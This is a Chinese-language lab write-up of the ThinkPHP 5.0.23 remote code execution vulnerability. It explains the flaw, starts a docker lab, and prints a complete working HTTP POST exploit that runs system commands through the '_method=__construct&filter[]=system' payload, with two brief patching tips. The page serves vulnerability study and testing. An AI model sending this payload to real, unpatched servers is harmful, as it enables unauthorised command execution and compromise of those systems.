5.24.2 RCE
漏洞名称
ThinkPHP5 5.0.23 远程代码执行漏洞
漏洞描述
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,在获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞等级
高级
漏洞危害
远程代码执行
漏洞检测方法
利用POC去试验是否存在该漏洞
漏洞利用方法
启动docker环境:
docker-compose up -d

然后刷新页面,构造POC,成功执行命令

发送的数据包为:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.136.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
也可以执行其他命令,只需替换server[REQUEST_METHOD]的值即可
漏洞修复方案:
1,及时去thinkphp官网修补漏洞
2,更新到最新版
Last updated
Was this helpful?